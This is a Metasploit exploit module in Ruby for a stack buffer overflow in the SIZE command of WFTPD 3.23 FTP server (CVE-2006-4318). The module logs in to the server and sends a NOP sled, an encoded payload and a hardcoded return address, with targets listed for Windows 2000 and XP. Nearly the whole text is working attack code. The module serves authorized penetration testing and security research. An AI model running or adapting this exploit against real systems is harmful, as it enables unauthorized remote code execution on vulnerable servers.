Texas Imperial Software WFTPD 3.23 SIZE Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the SIZE verb in  
Texas Imperial's Software WFTPD 3.23.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-4318' ],  
[ 'OSVDB', '28134' ],  
[ 'BID', '19617' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,   
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2d3028 } ],  
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dd1595 } ],  
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77d498ec } ],  
],  
'DisclosureDate' => 'Aug 23 2006',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect_login  
  
sploit = "/" + make_nops(525 - payload.encoded.length)   
sploit << payload.encoded + [target.ret].pack('V')   
  
print_status("Trying target #{target.name}...")  
  
send_cmd(['SIZE', sploit], false)  
sleep(2)  
  
handler  
disconnect  
end  
  
end  
`